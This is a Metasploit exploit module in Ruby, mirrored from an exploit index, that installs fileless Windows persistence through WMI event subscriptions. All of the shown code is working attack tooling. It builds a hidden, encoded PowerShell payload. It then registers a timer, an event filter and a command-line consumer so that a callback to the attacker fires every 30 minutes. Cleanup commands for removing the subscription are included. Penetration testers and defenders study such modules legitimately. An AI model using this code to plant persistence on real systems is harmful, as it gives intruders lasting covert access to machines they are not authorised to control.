Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-PERSISTENCE-WMI-WMI_EVENT_SUBSCRIPTION_INTERVAL-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::Windows::Powershell
  include Msf::Exploit::Powershell
  include Post::Windows::Priv
  include Msf::Post::File
  include Msf::Exploit::Local::Persistence
  include Msf::Exploit::Deprecated
  moved_from 'exploits/windows/local/wmi_persistence' # previously the "INTERVAL" wmi_persistence method

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WMI Event Subscription Interval Persistence',
        'Description' => %q{
          This module will create a permanent WMI event subscription to achieve file-less persistence using an event filter
          that triggers the payload after the specified CALLBACK_INTERVAL.

          If the persistence is not installed, it will keep triggering payloads to spawn.

          Additionally a custom command can be specified to run once the trigger is
          activated using the advanced option CustomPsCommand. This module requires administrator level privileges as well as a
          high integrity process. It is also recommended to use staged payloads due to powershell script length limitations.
        },
        'Author' => [
          'Nick Tyrer <@NickTyrer>', # original module
          'h00die' # docs, persistence mixin, pshell cleanup
        ],
        'License' => MSF_LICENSE,
        'Privileged' => true,
        'Platform' => 'win',
        'SessionTypes' => ['meterpreter'],
        'Targets' => [['Windows', {}]],
        'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
        'DisclosureDate' => '2017-06-06',
        'DefaultTarget' => 0,
        'References' => [
          ['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'],
          ['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1546_003_WINDOWS_MANAGEMENT_INSTRUMENTATION_EVENT_SUBSCRIPTION]
        ],
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptInt.new('CALLBACK_INTERVAL',
                 [true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 30.minutes.to_i * 1000 ]), # 30 minutes
      OptString.new('CLASSNAME',
                    [true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ])
    ])

    register_advanced_options(
      [
        OptString.new('CustomPsCommand',
                      [false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be enclosed in quotes)', false, ]),
      ]
    )

    deregister_options('WritableDir')
  end

  def check
    return CheckCode::Safe('This module requires powershell to run') unless have_powershell?

    return CheckCode::Safe('This module requires admin privs to run') unless is_admin?

    return CheckCode::Safe('This module cannot run as System') if is_system?

    return CheckCode::Safe('This module requires UAC to be bypassed first') unless is_high_integrity?

    CheckCode::Appears('Likely exploitable')
  end

  def format_duration(ms)
    total_seconds = ms / 1000
    hours = total_seconds / 3600
    minutes = (total_seconds % 3600) / 60
    seconds = total_seconds % 60

    parts = []
    parts << "#{hours}h" if hours > 0
    parts << "#{minutes}m" if minutes > 0
    parts << "#{seconds}s" if seconds > 0 || parts.empty?

    parts.join(' ')
  end

  def install_persistence
    print_status('Installing Persistence...')
    psh_exec(subscription_interval)
    print_good "Persistence installed! Callback should be in: #{format_duration(datastore['CALLBACK_INTERVAL'])}"
    # wmic will be removed Windows 11, version 25H2 or Windows 11, version 24H2 in favor of powershell
    # source https://support.microsoft.com/en-us/topic/windows-management-instrumentation-command-line-wmic-removal-from-windows-e9e83c7f-4992-477f-ba1d-96f694b8665d
    # @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
    # @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
    # @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
    name_class = datastore['CLASSNAME']
    @clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName __EventFilter | Where-Object { $_.Name -eq '#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_  }\\\""\n)
    @clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer | Where-Object { $_.Name -eq '#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_  }\\\""\n)
    @clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_  }\\\""\n)
  end

  def build_payload
    if datastore['CustomPsCommand']
      script_in = datastore['CustomPsCommand']
      compressed_script = compress_script(script_in)
      encoded_script = encode_script(compressed_script)
      generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script)
    else
      cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
    end
  end

  def subscription_interval
    command = build_payload
    class_name = datastore['CLASSNAME']
    callback_interval = datastore['CALLBACK_INTERVAL']
    <<-HEREDOC
    $timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"}
    $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'}
    $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
    HEREDOC
  end
end